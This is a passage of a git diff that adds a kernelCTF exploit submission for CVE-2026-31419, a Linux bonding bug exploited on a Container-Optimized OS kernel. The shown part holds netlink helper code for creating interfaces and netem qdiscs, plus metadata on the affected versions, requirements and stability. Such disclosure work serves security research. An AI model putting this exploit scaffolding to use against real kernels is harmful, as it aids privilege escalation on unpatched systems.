if_nametoindex(name); + + struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len); + li->rta_type = IFLA_LINKINFO; + li->rta_len = RTA_LENGTH(0); + + li->rta_len += RTA_ALIGN(add_rtattr( + (size_t)li + li->rta_len, IFLA_INFO_KIND, strlen(kind) + 1, (char *)kind)); + + struct rtattr *data = (struct rtattr *)((size_t)li + li->rta_len); + data->rta_type = IFLA_INFO_DATA; + data->rta_len = RTA_LENGTH(0); + + data->rta_len += RTA_ALIGN(add_rtattr( + (size_t)data + data->rta_len, attr_type, attr_size, (char *)attr_value)); + + li->rta_len += RTA_ALIGN(data->rta_len); + req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len); + + return (char *)req; +} + +char * linkAdd(const char *name, const char *kind) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = 0; + + if(name){ + req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr( + (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len), + IFLA_IFNAME, strlen(name) + 1, (char *)name)); + } + + struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len); + li->rta_type = IFLA_LINKINFO; + li->rta_len = RTA_LENGTH(0); + + li->rta_len += RTA_ALIGN(add_rtattr( + (size_t)li + li->rta_len, IFLA_INFO_KIND, strlen(kind) + 1, (char *)kind)); + + req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len); + + return (char *)req; +} + +char * linkSet(const char *name, int up) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = if_nametoindex(name); + req->ifi.ifi_change = IFF_UP; + req->ifi.ifi_flags = up ? IFF_UP : 0; + + return (char *)req; +} + +char * linkMasterSet(const char *iface, const char *master) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = if_nametoindex(iface); + + __u32 master_idx = if_nametoindex(master); + req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr( + (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len), + IFLA_MASTER, sizeof(__u32), (char *)&master_idx)); + + return (char *)req; +} + +char * linkMasterDel(const char *iface) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = if_nametoindex(iface); + + __u32 master_idx = 0; + req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr( + (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len), + IFLA_MASTER, sizeof(__u32), (char *)&master_idx)); + + return (char *)req; +} + +char * linkMtuSet(const char *name, __u32 mtu) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = if_nametoindex(name); + + req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr( + (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len), + IFLA_MTU, sizeof(__u32), (char *)&mtu)); + + return (char *)req; +} + +char * dummyAdd(const char *name) +{ + return linkAdd(name, "dummy"); +} + +char * dummySet(const char *name, int up) +{ + return linkSet(name, up); +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.h new file mode 100644 index 000000000..9c7a536a9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.h @@ -0,0 +1,190 @@ +#ifndef NF_H +#define NF_H +#define _GNU_SOURCE +typedef __SIZE_TYPE__ size_t; + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define ELIBX 0x132 +#define FAIL_IF(x) if ((x)) { \ + printf("\033[0;31mFail"); \ + perror(#x); \ + printf("\033[0m\n"); \ + exit(-ELIBX); \ +} + +#define FAIL(x, msg) if ((x)) { \ + printf("\033[0;31mFAIL"); \ + printf("%s\n",msg); \ + perror(#x); \ + printf("\033[0m\n"); \ + exit(-ELIBX); \ +} + +typedef __u32 u32; +typedef struct tf_msg { + struct nlmsghdr nlh; + struct tcmsg tcm; +#define TC_DATA_LEN 0x200 + char attrbuf[TC_DATA_LEN]; +}; + +struct if_msg { + struct nlmsghdr nlh; + struct ifinfomsg ifi; +}; + +typedef unsigned char u8; +typedef unsigned short u16; +typedef unsigned int u32; +typedef unsigned long long u64; + +#ifndef NLMSGERR_ATTR_MSG +#define NLMSGERR_ATTR_MSG 1 +#define NLMSGERR_ATTR_OFFS 2 +#endif + +#ifndef NETLINK_EXT_ACK +#define NETLINK_EXT_ACK 11 +#endif + +#ifndef NLM_F_ACK_TLVS +#define NLM_F_ACK_TLVS 0x200 +#endif + +static inline void NLMsgSend_interface (int sock, char *m, const char *ifname) { + + struct tf_msg *ptr = (struct tf_msg *)m; + + ptr->tcm.tcm_ifindex = if_nametoindex(ifname); + if (!ptr->tcm.tcm_ifindex) { + perror("if_nametoindex"); + return; + } + struct { + struct nlmsghdr nh; + struct nlmsgerr ne; + char buf[0x200]; + } ack; + size_t len = ((struct nlmsghdr *)m)->nlmsg_len; + FAIL_IF(write(sock, m, len) == -1); + FAIL_IF(read(sock , &ack, sizeof(ack)) == -1); + if(ack.ne.error){ + const char *ext_msg = NULL; + + if (ack.nh.nlmsg_flags & NLM_F_ACK_TLVS) { + size_t off = sizeof(ack.ne); + while (off < ack.nh.nlmsg_len - sizeof(ack.nh)) { + struct nlattr *nla = (struct nlattr *)(ack.buf + off - sizeof(ack.ne)); + if (nla->nla_type == NLMSGERR_ATTR_MSG) { + ext_msg = (char *)nla + sizeof(struct nlattr); + break; + } + off += NLA_ALIGN(nla->nla_len); + if (nla->nla_len == 0) break; + } + } + if (ext_msg) + printf("\033[1;33m[!] NLMsgSend error: %d (%s): %s\033[0m\n", ack.ne.error, strerror(-ack.ne.error), ext_msg); + else + printf("\033[1;33m[!] NLMsgSend error: %d (%s)\033[0m\n", ack.ne.error, strerror(-ack.ne.error)); + } +} + +static inline void NLMsgSend (int sock, char *m) { + struct { + struct nlmsghdr nh; + struct nlmsgerr ne; + char buf[0x200]; + } ack; + size_t len = ((struct nlmsghdr *)m)->nlmsg_len; + FAIL_IF(write(sock, m, len) == -1); + FAIL_IF(read(sock , &ack, sizeof(ack)) == -1); + if(ack.ne.error){ + const char *ext_msg = NULL; + + if (ack.nh.nlmsg_flags & NLM_F_ACK_TLVS) { + size_t off = sizeof(ack.ne); + while (off < ack.nh.nlmsg_len - sizeof(ack.nh)) { + struct nlattr *nla = (struct nlattr *)(ack.buf + off - sizeof(ack.ne)); + if (nla->nla_type == NLMSGERR_ATTR_MSG) { + ext_msg = (char *)nla + sizeof(struct nlattr); + break; + } + off += NLA_ALIGN(nla->nla_len); + if (nla->nla_len == 0) break; + } + } + if (ext_msg) + printf("\033[1;33m[!] NLMsgSend error: %d (%s): %s\033[0m\n", ack.ne.error, strerror(-ack.ne.error), ext_msg); + else + printf("\033[1;33m[!] NLMsgSend error: %d (%s)\033[0m\n", ack.ne.error, strerror(-ack.ne.error)); + } +} + +static inline void NLS(int sock, char *m) { + NLMsgSend(sock, m); +} + +static inline void NLS_IF(int sock, char *m, const char *ifname) { + NLMsgSend_interface(sock, m, ifname); +} + +static inline void init_tf_msg (struct tf_msg *m) { + + m->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(m->tcm)); + m->nlh.nlmsg_type = 0; + + m->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + m->nlh.nlmsg_seq = 0; + m->nlh.nlmsg_pid = 0; + + m->tcm.tcm_family = PF_UNSPEC; + m->tcm.tcm_ifindex = if_nametoindex("lo"); + m->tcm.tcm_handle = 0; + m->tcm.tcm_parent = -1; + m->tcm.tcm_info = 0; +} + +static inline unsigned short add_rtattr (unsigned long rta_addr, unsigned short type, unsigned short len, char *data) { + struct rtattr *rta = (struct rtattr *)rta_addr; + rta->rta_type = type; + rta->rta_len = RTA_LENGTH(len); + memcpy(RTA_DATA(rta), data, len); + return rta->rta_len; +} + +int initNL(void); + +char * linkAttrSet(const char *name, const char *kind, __u16 attr_type, size_t attr_size, void *attr_value); + +char * linkAdd(const char *name, const char *kind); + +char * linkSet(const char *name, int up); + +char * linkMasterSet(const char *iface, const char *master); + +char * linkMasterDel(const char *iface); + +char * linkMtuSet(const char *name, __u32 mtu); + +char * dummyAdd(const char *name); + +char * dummySet(const char *name, int up); + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.c new file mode 100644 index 000000000..3e0b09916 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.c @@ -0,0 +1,33 @@ +#include "qdisc.h" + +char * qdiscDel(u32 handle) { + struct tf_msg *m = calloc(1, sizeof(struct tf_msg)); + init_tf_msg(m); + + m->nlh.nlmsg_type = RTM_DELQDISC; + m->tcm.tcm_handle = handle; + m->tcm.tcm_parent = -1; + return (char *)m; +} + +char * netemQdisc(enum QDISC_OPS OPS, u32 handle, u32 parent, u32 usec){ + + struct tf_msg *m = calloc(1,sizeof(struct tf_msg)); + + init_tf_msg(m); + m->nlh.nlmsg_type = RTM_NEWQDISC; + if (OPS == QDISC_ADD) + m->nlh.nlmsg_flags |= NLM_F_CREATE; + else + m->nlh.nlmsg_flags |= NLM_F_REPLACE | NLM_F_CREATE; + m->tcm.tcm_handle = handle >> 16 << 16; + m->tcm.tcm_parent = parent; + + m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((size_t)(m) + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen("netem") + 1, "netem")); + + struct tc_netem_qopt qopt_attr={}; + qopt_attr.latency = usec; + qopt_attr.limit = 1; + m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((size_t)(m) + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_OPTIONS, sizeof(qopt_attr), (char *)&qopt_attr)); + return (char *)m; +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.h new file mode 100644 index 000000000..8fbb1d0ea --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.h @@ -0,0 +1,10 @@ +#include "net.h" + +enum QDISC_OPS { + QDISC_ADD, + QDISC_CHANGE +}; + +char * netemQdisc(enum QDISC_OPS OPS, u32 handle, u32 parent, u32 usec); + +char * qdiscDel(u32 handle); diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.c new file mode 100644 index 000000000..d615b7d21 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.c @@ -0,0 +1,58 @@ +#include "veth.h" + +#define NEWLINK_BUF_SIZE 512 + +struct newlink_req { + struct nlmsghdr nlh; + struct ifinfomsg ifi; + char attrbuf[NEWLINK_BUF_SIZE]; +}; + +char * vethAdd(const char *name, const char *peer_name) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = 0; + + if (name) { + req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr( + (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len), + IFLA_IFNAME, strlen(name) + 1, (char *)name)); + } + + struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len); + li->rta_type = IFLA_LINKINFO; + li->rta_len = RTA_LENGTH(0); + + li->rta_len += RTA_ALIGN(add_rtattr( + (size_t)li + li->rta_len, IFLA_INFO_KIND, 5, "veth")); + + struct rtattr *data = (struct rtattr *)((size_t)li + li->rta_len); + data->rta_type = IFLA_INFO_DATA; + data->rta_len = RTA_LENGTH(0); + + struct rtattr *peer = (struct rtattr *)((size_t)data + data->rta_len); + peer->rta_type = VETH_INFO_PEER; + peer->rta_len = RTA_LENGTH(sizeof(struct ifinfomsg)); + + struct ifinfomsg *peer_ifi = (struct ifinfomsg *)RTA_DATA(peer); + memset(peer_ifi, 0, sizeof(*peer_ifi)); + peer_ifi->ifi_family = AF_UNSPEC; + + if (peer_name) { + peer->rta_len += RTA_ALIGN(add_rtattr( + (size_t)peer + peer->rta_len, + IFLA_IFNAME, strlen(peer_name) + 1, (char *)peer_name)); + } + + data->rta_len += RTA_ALIGN(peer->rta_len); + li->rta_len += RTA_ALIGN(data->rta_len); + req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len); + + return (char *)req; +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.h new file mode 100644 index 000000000..74ea2b0e1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.h @@ -0,0 +1,12 @@ +#ifndef VETH_H +#define VETH_H + +#include "net.h" + +#ifndef VETH_INFO_PEER +#define VETH_INFO_PEER 1 +#endif + +char * vethAdd(const char *name, const char *peer_name); + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-31419_cos/metadata.json new file mode 100644 index 000000000..a05901677 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/metadata.json @@ -0,0 +1,24 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp454"], + "vulnerability": { + "cve": "CVE-2026-31419", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=2884bf72fb8f03409e423397319205de48adca16", + "affected_versions": ["5.17-rc1 - 7.0-rc6"], + "requirements": { + "attack_surface": ["userns"], + "capabilities": ["CAP_NET_ADMIN"], + "kernel_config": [ + "CONFIG_BONDING" + ] + } + }, + "exploits":{ + "cos-121-18867.294.134": { + "environment": "cos-121-18867.294.134", + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "3 times success per 10 times run" + } + } +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-31419_cos/original.tar.gz new file mode 100644 index 000000000..8549a22f6 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31419_cos/original.tar.gz differ